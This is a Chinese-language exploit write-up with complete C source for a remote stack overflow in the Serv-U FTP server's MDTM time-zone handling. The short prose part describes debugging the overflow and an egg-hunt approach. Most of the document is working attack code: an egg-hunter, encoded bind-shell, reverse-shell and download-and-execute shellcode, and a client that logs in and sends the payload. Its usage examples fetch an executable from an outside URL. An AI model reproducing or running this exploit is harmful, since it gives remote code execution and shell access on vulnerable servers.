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标题: Serv-U MDTM Time Zone Exploit

    我用的Serv-U 5.0来测试，先构造了一个很长的时区，发现居然没有反应，反复缩短时区长度后，感觉似乎第一个空格的出现位置不能太靠后时才能触发。我猜可能命令的长度有限制，至少是被截断过再处理的，如果第一个空格出现的位置太靠后，Serv-U就以为是在查询一个长文件的修改日期，溢出就不会触发了。
    于是我又回来搭了个exploit的架子，以能够触发的字符串构造的。以常规的方法确定了ret点后，用Ollydbg连接到Serv-U守护进程，看在异常处理的时候发生了些什么。结果是和想象中的一样，在一步一步地跟踪到call ebx，然后nop nop jmp 4到常规方法的应该是shellcode的地方时，我仔细数了数当前eip位置附近的内容和发送的原始字符串相同的字节数，好像是连前面加起来一共是294字节，毫无疑问的，发送数据被截断了。
    这时候的第一个反应是马上去找tiny shellcode，不过很遗憾，实在是没有找到。我又翻了一下eyas的WS_FTP的那篇文章，觉得应该很像，但是那个可以有512字节的自由发挥空间，无论如何，294字节似乎少了一点。这时候大约是11点了，我打算先回去睡觉，因为看了一天的动画，满脑袋装的都是斯卡（Scar?）的恶心嘴脸，怎么写集中不了精神。
    第二天过来的时候，我想试试能不能在内存中找到原始的buffer。这次我在一个超长的MTDM命令后面加了SWAN作为标记，溢出触发的时候我搜索了一下，果然在edi附近发现了原始的数据，而且似乎还有好几个拷贝。这个时候寄存器ebx/esi/edi/ebp/esp几乎都在11xxxxx附近，从这些开始往后找应该能够找到没有经过加工处理的原始数据，我觉得这个exploit应该马上可以完成了。
    我的想法是把一个标记作为完整性的判断，比如buffer最后的“SWAN”，然后向前搜索到real shellcode的头，最后跳转过去执行。为了保证溢出的安全触发，我把搜索的search code放到了时区中，而把real shellcode放到了文件名中。附带说一句，这里要一个符合文件名编码的shellcode，好在前面的site chmod的时候已经解决了这个问题，直接拿来用就可以。

    search code还是有点考虑的，如果是很完美的话，应该是动态定位当前位置，接管异常处理，利用奇偶校验和来判断原始buffer是否完整等等。不过越想问题越来越多，我又本来就是个懒人，做这些东西岂不是要我的命，干脆做个马马虎虎能够将就过去的就可以了。为了能够通用，ret地址没有用call ebx的0x7FFA4A1B（这玩意儿到了XP下面不行的），而是用的lion上一次site chmod中给的pop/pop/ret地址0x7ffa1571。这个据说能够连win2k3都搞定，我是没有机器可以测试，只在英文版的XP和中文版的2k下面看了一下，确实是可以用。不过用这个的话edi被改掉了，加上XP等异常处理中call ecx后ebx成了0x00000000，我就从esp开始向下搜索的，测试了一个Win2K和一个WinXP，都能找到。
    废话就不用多说，跟进去看看就知道了。Search code是这样：

//"\xCC"                // int3            ; for test :-))
"\x8B\xDC"                // mov ebx, esp        ; "pop ebx" is also OK
"\xB8\x52\x57\x41\x4E"            // mov eax, 4E415753h
"\x40"                    // inc eax        ; eax eq "SWAN" now
"\x43"                    // inc ebx
"\x39\x03"                // cmp [ebx], eax
"\x75\xFB"                // jne -5        ; search "SWAN"
"\xB8\x90\x90\x90\x90"            // mov eax, 90909090h
//"\xCC"                // int3            ; for test
"\x4B"                    // dec ebx
"\x39\x03"                // cmp [ebx], eax
"\x75\xFB"                // jne -5        ; search nop/nop/nop/nop
"\xFF\xD3"                // call ebx
"\x20\x20";                // <SP> to ensure the overflow

    大概意思就是找SWAN，找到后向前找到连续的4个nop，以次确定完整的shellcode的地址，然后跳过去执行，后面两个空格（0x20）的意思嘛，前面已经说过了~

    完整一点的exploit是这样子，不用写权限，能够登陆即可。我没有测试几台机器（自己用的三台加一个虚拟机），不知道会不会有其他的未发现的问题——毕竟我是纯黑盒连蒙带猜测试的，一丁点反汇编都没有去看。还有一句话，Serv-U 5.0以下的方法要简单些，但这种方法对从3.x开始的东西都有效果，如果你觉得ret地址不爽，请自己改。这个对中文版的2k/XP/2k3有效。


/*
      Serv-U allows a MDTM command that less than 294 bytes, it is too short to exploit.
    However, we could send a MDTM command as long as we wish, and we can easily find our
    raw buffer in the memory. To be brief, you can find that near [edi] when overflow
    happened. So search from the edi, and you can exploit it.
      My way to exploit this could be described as follow:

    +------+----------------------+---------+------+---------+
    | MDTM | long buffer with '+' | buffer1 | <SP> | buffer2 |
    +------+----------------------+---------+------+---------+

  buffer1:
    +--------------+--------------------+-------------------+
    |nop nop jmp 4 | addr of "call ebx" | short search code |
    +--------------+--------------------+-------------------+

  buffer2: (as the filename)

    +----------------+----------------+-------------+
    |flag 0x90909090 | real shellcode | flag 'SWAN' |
    +----------------+----------------+-------------+

      The real shellcode must be a valid filename, see the "site chmod exploit" to get
    more information about how to make the shellcode valid.
*/

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

void help(char *program)
{
    printf ("=======================================================\r\n");
    printf ("Serv-U MDTM Time Zone Stack Overflow Xploit v0.20 alpha\r\n");
    printf ("           For Serv-U 5.0 and below written by SWAN@SEU\r\n");
    printf ("=======================================================\r\n\r\n");
    printf ("Usage: %s <Host> <Port> <User> <Pass> \r\n", program);
    printf ("       %s <Host> <Port> <User> <Pass> <url>\r\n", program);
    printf ("       %s <Host> <Port> <User> <Pass> <Your IP> <Your port>\r\n", program);
    printf ("e.g.:\r\n");
    printf ("     %s 127.0.0.1 21 test test\r\n", program);
    printf ("     %s 127.0.0.1 21 test test http://hack.co.za/swan.exe\r\n", program);
    printf ("     %s 127.0.0.1 21 test test 202.119.9.42 8111\r\n", program);
    return;
}

unsigned char bpsc[]=
//shellcode flag, necessary!
"\x90\x90\x90\x90"
//decode code, suppose the ebx is near the encoded shellcode
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x90\x66\xB9\x7D\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"

//encoded shellcode, binding port
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99"
"\x86\x36"  //<== Port xor 0x9999, default is 8111
"\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";


#define    IP_OFFSET    253
#define    PORT_OFFSET    248
unsigned char cbsc[]=
"\x90\x90\x90\x90"
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x90\x66\xB9\x7D\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"

//connect back, from http://www.xfocus.net/articles/200307/574.html
"\x70\x6D\x99\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85"
"\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A"
"\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A"
"\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC"
"\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58"
"\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71"
"\xE9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3"
"\x9B\xC0\x71\xC4\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x61\x12"
"\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98\x98"
"\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9\x14\xCE"
"\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x75\x5E\x9E\x9B\x99"
"\x9E\x24\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE\x65"
"\xC9\x66\xCE\x69\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66"
"\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9E\x66\x66\x66\xDE\xFC"
"\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC"
"\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB"
"\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA"
"\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC\xFA\xED\x99";

unsigned char dehead[]=
"\x90\x90\x90\x90"
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x90\x66\xB9\xF0\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"

//download & execute, modified slightly...
"\x70\x4D\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9D\xC0\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F"
"\x8A\xCF\xDF\x19\xA7\x19\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12"
"\x45\xF3\xB9\xCA\x66\xCE\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD"
"\x9A\x9D\xE1\xFC\x99\x99\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65"
"\x12\x45\xC9\xCA\x66\xCE\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59"
"\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A"
"\x71\xBE\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB"
"\xFC\xEA\xEA\x99\xDE\xFC\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB"
"\xFC\xFA\xED\xF6\xEB\xE0\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99"
"\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD"
"\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99"
"\xCC\xCB\xD5\xDD\xF6\xEE\xF7\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5"
"\xFC\xD8\x99";
//"http://127.0.0.1/hello.exe"
//"\x80";

unsigned char desc[500]={0};

void main(int argc, char *argv[])
{
    WSADATA wsaData;
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    int nTimeout = 1000;
    if(argc != 5 && argc != 6 && argc != 7)
    {
        help(argv[0]);
        return;
    }
    if(argc == 6)
    {
        //initialize the download & execute shellcode
        //shellcode head + ((url + 0x80) xor 0x99 )  <==all for damned ':'
        memset(desc, 0, 500);
        memcpy(desc, dehead, sizeof(dehead));
        char url[255];
        strcpy(url, argv[5]);
        strcat((char*)url, "\x80");
        for(unsigned int j=0; j < strlen(url); j++)
            url[j] = url[j]^'\x99';
        strcat((char*)desc, url);
    }
    if(argc == 7)
    {
        unsigned short port = htons(atoi(argv[6]))^(u_short)0x9999;
        unsigned long ip = inet_addr(argv[5])^0x99999999;
        memcpy(&cbsc[PORT_OFFSET], &port, 2);
        memcpy(&cbsc[IP_OFFSET], &ip, 4);
    }

    if(WSAStartup(0x0101,&wsaData) != 0)
    {
        printf("error starting winsock..");
        return;
    }
    if((he = gethostbyname(argv[1])) == 0)
    {
        printf("Failed resolving '%s'",argv[1]);
        return;
    }
    host.sin_port = htons(atoi(argv[2]));
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("Failed creating socket");
        return;
    }

    if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
    {
        printf("Failed connecting to host\r\n");
        return;
    }
    setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&nTimeout,sizeof(nTimeout));
    
    char buff[50000]={0};
    memset(buff, 0, sizeof(buff));

    char szUser[255] = {0};
    strcpy(szUser, "USER ");
    strcat(szUser, argv[3]);
    strcat(szUser, "\r\n");

    char szPass[255] = {0};
    strcpy(szPass, "PASS ");
    strcat(szPass, argv[4]);
    strcat(szPass, "\r\n");

    int bread = recv(s,buff,sizeof(buff),0);
    if(bread == -1)
    {
        closesocket(s);
        printf("No response... Perhaps it has been hacked!\r\n");
        return;
    }
    printf(buff);

    //send user
    send(s, szUser, strlen(szUser), 0);
    memset(buff, 0, sizeof(buff));
    recv(s, buff, sizeof(buff), 0);
    printf(buff);

    //send pass
    send(s, szPass, strlen(szPass), 0);
    memset(buff, 0, sizeof(buff));
    recv(s, buff, sizeof(buff), 0);
    printf(buff);

    if(buff[0] == '5')
    {
        closesocket(s);
        printf("Authentication failed!\r\n");
        return;
    }

    char xploit[1500] = {0};
    char head[] = "MDTM 19811102172800+In_My_Dream_I_Always_See_You_Soar_Above_The_Sky";
    
    /*************************************************************************
       Search the "SWAN" to ensure the buffer is intact, then search backwards
    to find the head of shellcode.
    *************************************************************************/
    char search[] = //"\xCC"                // int3 (for test)
                    "\x8B\xDC"                // mov ebx, esp
                    "\xB8\x52\x57\x41\x4E"    // mov eax, 4E415753h
                    "\x40"                    // inc eax
                    "\x43"                    // inc ebx
                    "\x39\x03"                // cmp [ebx], eax
                    "\x75\xFB"                // jne -5
                    "\xB8\x90\x90\x90\x90"    // mov eax, 90909090h
                    //"\xCC"                // int3 (for test)
                    "\x4B"                    // dec ebx
                    "\x39\x03"                // cmp [ebx], eax
                    "\x75\xFB"                // jne -5
                    "\xFF\xD3"                // call ebx
                    "\x20\x20";                // <SP> to ensure the overflow

    memset(xploit, 0, sizeof(xploit));
    strcpy(xploit, head);
    *((int*)(xploit + strlen(head) + 0)) = 0x04EB9090; //nop nop jmp 4
    *((int*)(xploit + strlen(head) + 4)) = 0x7ffa1571;//0x7FFA4A1B; //jmp ebx

    // copy the search code
    memcpy(xploit + strlen(head) + 8, search, sizeof(search));

    // copy the shellcode
    if(argc == 5)
        memcpy(xploit + strlen(head) + 8 + strlen(search), bpsc, sizeof(bpsc));
    if(argc == 6)
        memcpy(xploit + strlen(head) + 8 + strlen(search), desc, strlen((char*)desc));
    if(argc == 7)
        memcpy(xploit + strlen(head) + 8 + strlen(search), cbsc, sizeof(cbsc));

    // copy the flag. SWAN? It's me~
    strcat(xploit, " SWAN\r\n");
    //printf(xploit);
    send(s, xploit, strlen(xploit), 0);

    memset(buff, 0, sizeof(buff));
    bread = recv(s, buff, sizeof(buff), 0);
    if(bread == -1)
    {
        closesocket(s);
        if(argc == 5)
            printf("Success! Try connect port 8111 to get your shell...\r\n");
        if(argc == 6)
            printf("Success! Host has download and execute the program...\r\n");
        if(argc == 7)
            printf("Success! See your nc.exe...\r\n");
        return;
    }
    printf("Failed... Perhaps it has been patched!\r\n");
    closesocket(s);
    return;
}